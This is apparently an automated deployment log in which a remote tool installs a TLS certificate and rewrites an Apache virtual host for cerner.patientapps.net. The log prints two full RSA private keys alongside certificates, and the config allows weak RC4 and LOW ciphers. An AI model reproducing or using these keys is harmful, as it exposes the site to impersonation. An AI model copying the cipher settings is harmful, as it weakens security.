JzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzc3LmNybDCCAQYGCisG
AQQB1nkCBAIEgfcEgfQA8gB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8z
E/X6AAABmyCYhiYAAAQDAEgwRgIhAJI81LwNM97nrCRMFroHGmh6KItTeCJNXQmQ
wMeQYAz6AiEA1B9fB4pZilG0Tg+n+XIRut/QVJseufejrXi5mqrRugcAdwCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZsgmIZgAAAEAwBIMEYCIQCQ
NoGa7GWqgymGYe4BSzhI1w65EvKb7P7mfAR6ndn3TQIhAMvxk9JrYnES6KH2/4xj
jWw9ZO8muartebhKzRXlbI6TMA0GCSqGSIb3DQEBCwUAA4IBAQA2/IL2mAbyTnug
Sxt88Fsb1ndnSO1OWs84eS5qxbDSZctjqQHUpBVXT/lcASc5zVMFG9SNcDslDDVc
ZPIORdhmfK4EPK5vC1Fdtj2mygn8MYIi+/4P7LyorTeblbhYTe3BLXA/8cA2N3w2
4RBtSl/LnR7TH9MJZiHYY9HseuDJfTVFdidj/yThts6ZmTNEuIh84IqfM60u6lar
nMTNRVvMWZcOhlY95zaPyKHE1V7k7qNmsvAFD7wAAUwOzhDKzT5fsAYJTfC4f0GC
wP+cVmWehEgrWtKBn9UWo8XABO9r/7QivbOt/uKoy0Uy+TdPURP2ZM2TwAzf6JNU
byeeQaOF
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCooTulBvxsdUfh
t3TXSYDGbNQvtUe0l7mKdO+1ivk2T2nJz0h6sE0w6Q74nzUQav6mzyuoxEFN38Cw
hRDbUVLgv7eriw3CBZKU6GLRQSzB8EcY702bBZ5AL01r92bClwGJTbLCNf7KSQHv
7zsmznyxazF2RJgLvGMtf1UyJvxbqR/7+sVkE5mA+PltcmAuXUZRujNj4TDs4Hqa
Tb9YrySOHTJaF9GkmJvrghAeN/B/PgZnfeNK96n5UZTXjyraiyDlmi3vRyi3QWQH
IDGfq/LSEv3aiabLdHgeO834DT7OGOocl50ZFMMXkerD5E4pJmPZkHVOJN7P/89P
xudffgF3AgMBAAECggEAIzpDlo8mDpZVpO7JZuxBDbLQhQLu7ug/Z5BUP22/8DuY
0wMNlivchFo7uW6xDDP97OUcrs4JAna672VtBxQvJyqF+T08a4r0e00sz6A49G74
u1nKsZbz317CYsq1WfNn68IilPXou2OTFwe4KLw8SmglVhqwVMtPQML4DlkcoR0V
8gRosu0tFfwI/pvzsGfpJfZkhCzeu6F3MoRb8UqMXcXvccZ2HtbBMZ4RXV2/rO0L
udzFktpuUEo2ZKKc1kmC/R4jfXvzJ2dhe7rvusOd8Ll9hcyfEZ8PcaSlui1h5HVn
X/2DhKHysbq//1rm+yNvwqg/H5QjY0WNUcHWq7N0KQKBgQDTLWuEs2lFiplnX1Uk
0nonAVXoOLwhh5/4YVGFJMq5RT9/fm5P3BkSyKiHn1Dp44A3dVl0FOYagafESYzd
n+jC5Hjd4JjgIlhp9YIC/z6qNCu+xm0zL5vi6+JEkmcP0hs43Wa1Gp++bCaR5B1f
X1YXXj/Jjm805sPoCgv0nqCQgwKBgQDMa/AA7Bdbs1ZVepp34QcDTmGEbmCF1zJI
S5RsggrekrNOJ1+wBM2LfDRe09jjl6IMOOgRWigNLp4T9yGhorP+oXd2sgDTOUvp
iY91OAIqfL4y4bwjdnvzGwzBC/z68xqMEShZ/tdPSEWjN5FpX9eJdJotr/q3s+0K
iCTirm0Q/QKBgA1Yu4jhhe+9OMDNx6XSH6JDdVh97XX5CmU6UVqm3qEi/UZjiTlG
4dbME8quiQCfPkVDB2pMv9ZBB4diVqLTLnTS18i+HytbQFdCCvuBgkZjkbg29kPb
6HBJFD3dOuJHFy1a4NjlW98/Gpjx3+FdNyW28TUd6W1ggFUz/VlyhRddAoGANL+Z
c7N4J4p0OaRkXZCsbZb5JOISeBbae7s89m7r/RjfucgBMftbSqXnIZ0Kt1e2Ue8R
OwEHmrcvxTkc7Yd9aLQjjnZKLjb3trBvWzDzpiEAN0L2eDQnsciGFv5P7jVy4TfA
MNDIoEWm6oH5PLaleGulKSriyCpefTw6QF//9sUCgYEAuX5MXkGiGqX864b/TyKa
FnvFlvuzlVgDxGdUTQ3m6db7TsTmf04fF6N2DKsKJQF5WTzBgLBQra90fKDzBueQ
fgxz1MpAVIfs4d7azln1p91x9ZmjTzRh1AO+5ip3lb5lrivx2lKWEOrv3Uwpgj8A
G0OXvpeEjfGNIrM3av1/pes=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-15 06:00:27: Establishing a connection
2025-12-15 06:00:27: Establishing a connection
2025-12-15 06:00:27: 

PUT: /tmp/pkp253319

#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-15 06:00:27: 

chmod 755 /tmp/pkp253319; /tmp/pkp253319; rm /tmp/pkp253319

2025-12-15 06:00:27: 


0


2025-12-15 06:00:53: Establishing a connection
2025-12-15 06:00:53: 

PUT: /tmp/pkp440459

#!/bin/bash
temp_file=$(mktemp)
TARGET=9165176ee0fe7a5f957c52572458ff70.crt

cat > $temp_file <<'endmsg'
6b:b6:d5:39:c6:6d:6f:e7:8c:44:c1:95:80:1b:51:58

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBfzWDL+w/LHu2PX62hgSo7sBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMjIzWhcNMjYwMzE1MDUwMjIyWjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAti8ZVnZVa/qnBSfQTYed1ACG/XBUExjekQLQvymPpwwxtKzTduzY
dP8kN8bwcH1BYwUqr4pFpsj0ka/Sq2agbvTqDoOq5nOYttJ3xaNBu4DhH5hCcOQf
MBIGhITWkBZSrc+0IqMfFJB4ZyUnW8tqo4YLQlEgb9N0FbjGg6rxqlGPfAiSHdAp
Ehzix6e20ZPvbDB2yDudbdku8qKi3jlgBk/dT/jkXM+K7OPo/tF1TudnhN33zup1
gksK2BfRZt4RLQCUdHACQhJHINS/eJoKREq24Dqc1Cz5O460Cupstgpcb9SKjzH7
wvDPsZwXZNdEKylqdDp4yJrJj3oh1aZK6wIDAQABo4ICJDCCAiAwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBShc+/urB6H1xVHg2FpMYPozHUbcTAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCEGA1UdEQQaMBiCFmNlcm5lci5wYXRp
ZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCg
HoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yLmNybDCCAQMGCisGAQQB1nkCBAIE
gfQEgfEA7wB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmyCY
8vQAAAQDAEYwRAIgWbkBIclTfpwf6wavJZeIb8L+Wtcn4TGJoXkaBbRUrZYCIE04
mUNzf0buPyXBgCAH125j9PxcESCoSDizzGzn4vlzAHYA0W6ppWgHfmY1oD83pd28
A6U8QRIU1IgY9ekxsyPLlQQAAAGbIJjzzwAABAMARzBFAiBoN75P9ZIMSLLch4ky
6J/T8b1hPhvxEJ7ezWL0GhQQJwIhAP6uZpo0FZcTeeTDjeGzAwJ5ffc65kpoIHIV
mwGKMClwMA0GCSqGSIb3DQEBCwUAA4IBAQBLwCR6H5sDHhu3Bf+Q21qMm4W3GAKM
M9Hhbzng/9CWAh8yPAN0xvIVe+fwF5XozD6r+NVBiLsrZ6OtWeVhRVDFp+Lkl0b9
fo1vJ0bTTegyDGkAvCvfI1NaPPpN85tFMsPFTF34sBk6HdClKBf9J8oYr14o7m0u
v5oNN8iu+mo20+/EbpvLvnTGfBHlDOEYQG/vHWaMrY8pwSy4R7qwp3tcwZqe/vv3
ucdOu14w+1aymc64N0ilRPQfYN+BHskqLHGzaCevbNbi8S3TvIqn7VX3O3eyxYFo
0YJGDWHiyq09mWEbuof3cjUPl9Rl2flMe6Fysm4WH4VkHhdL6DyIW11E
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC2LxlWdlVr+qcF
J9BNh53UAIb9cFQTGN6RAtC/KY+nDDG0rNN27Nh0/yQ3xvBwfUFjBSqvikWmyPSR
r9KrZqBu9OoOg6rmc5i20nfFo0G7gOEfmEJw5B8wEgaEhNaQFlKtz7Qiox8UkHhn
JSdby2qjhgtCUSBv03QVuMaDqvGqUY98CJId0CkSHOLHp7bRk+9sMHbIO51t2S7y
oqLeOWAGT91P+ORcz4rs4+j+0XVO52eE3ffO6nWCSwrYF9Fm3hEtAJR0cAJCEkcg
1L94mgpESrbgOpzULPk7jrQK6my2Clxv1IqPMfvC8M+xnBdk10QrKWp0OnjImsmP
eiHVpkrrAgMBAAECggEAKLpQxMaBhDktu3ZSF/L4cpuHkgLZmMdXgj2J4yJsbeDI
/+YfBBggr88WDq4XtF4cDwHpsAKOXaHRIvyWcSDpPsTbylDfFNPE0SIuCm3b1QoT
yddlCw3Edx+ge2GjAeUrqJWlZJTo7tT5Rb3Flbzc4x+lRrcSNE2mRvDe2DKQAg4G
mZIYW8LNazQyNP8xGPjcdfOEx9bI5Xa+var/lad7DtTlXR2loVcxSOK8oCYh0F2G
0khPmctGJ3SDDKkrLGdI6277U+aXXuab0dC8IkNvOybWn55+8uvS03dnNcR3UiWl
3iOKk4QWU+X4QlKrruOcZcGsJFTlj94gRMoXagZnoQKBgQDv1aZeu3qAMtg/JxgN
Glj8rTZvbMVRh9leNTefGgJC8bSwaAD/I+6Hh1NYPGQD/L7vAz9VOn6r8+HScB3f
FtgfjnO/zvZ2BPqQIYE6JiOHdgWjA6ueN3zySwWMayju5E8F8NbmvzG/M9q8F6t6
azfbNHBXZqugu/hrYK6cdjbKMQKBgQDCdq/jShixRtIzLwfggkUKSSNAsrajMLQZ
s2kSHjf5jU/YUW+7KhUOFscSrL9bk1g9PZOhBdeCtQhbhjf6tQuZeM9JEotCykbK
5FaCdOAO1+D+tgK1sGa/traA380BOXz+QpQouu8iDWUWccCzl9ZkqK+15ziZGPVU
DMA60ATD2wKBgD8J/0LjMF3F/4UJ945qIH254ZcEFhFKDd5vSoFtSq7h7UZ479og
TbAd59BHf1p08pLMXbc/OtBjuDWh9pgO3xvcS5xc//chc+Kyi88G+0u9v9mLO27I
0vS0t26jNA0mwYakOThJhP/m11WdOxtgVzws2mJ+wBntjmxa60qA4AHhAoGAaRBW
1yYhUSZCSwUN7G51fqklMr9bja+ynnAgRHmvJFUE3oqhIy4JUiNcSuqqOH/THMM4
D7doSGYmrcxGUl2edryewYwTUXKX7OaRFsqug1Z/aR5NOHymBs5grCA+UnsM3RJ7
mcXljTBPfWDYDC/s1VWOGWljWtPxOAfrk9rvuCECgYB42b4JuRAaq672oAMb1WiA
qUkEqLxZdQZgE5S/yssiNoLR2I0bXojQDTvhlIZgcPuahXARUB9WIB2o/Z/DdDai
ugsWyTizhD9h3Qoi4La/WS4aYfXgztLG37skkn8mnl9XYuBG5OHnZvIXwIfHWFx1
sUuDHuYWlxn0jjRuWdy/4w==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-15 06:00:54: 

chmod 755 /tmp/pkp440459; /tmp/pkp440459; rm /tmp/pkp440459

2025-12-15 06:00:54: 


dir=/etc/ssl/certs


2025-12-15 06:00:54: 

PUT: /tmp/pkp825026

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_cerner_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-15 06:00:54: 

chmod 755 /tmp/pkp825026; /tmp/pkp825026; rm /tmp/pkp825026

2025-12-15 06:00:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 46

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-15 06:00:54: 

PUT: /tmp/pkp286424

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_cerner_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_cerner_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_cerner_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf= 1'
fi


2025-12-15 06:00:54: 

chmod 755 /tmp/pkp286424; /tmp/pkp286424; rm /tmp/pkp286424

2025-12-15 06:00:54: 




2025-12-15 06:00:54: 

PUT: /tmp/pkp997320

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-15 06:00:54: 

chmod 755 /tmp/pkp997320; /tmp/pkp997320; rm /tmp/pkp997320

2025-12-15 06:00:54: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-15 06:00:54: Establishing a connection
2025-12-15 06:00:54: 

PUT: /tmp/pkp853120

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-15 06:00:54: 

chmod 755 /tmp/pkp853120; /tmp/pkp853120; rm /tmp/pkp853120

2025-12-15 06:00:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
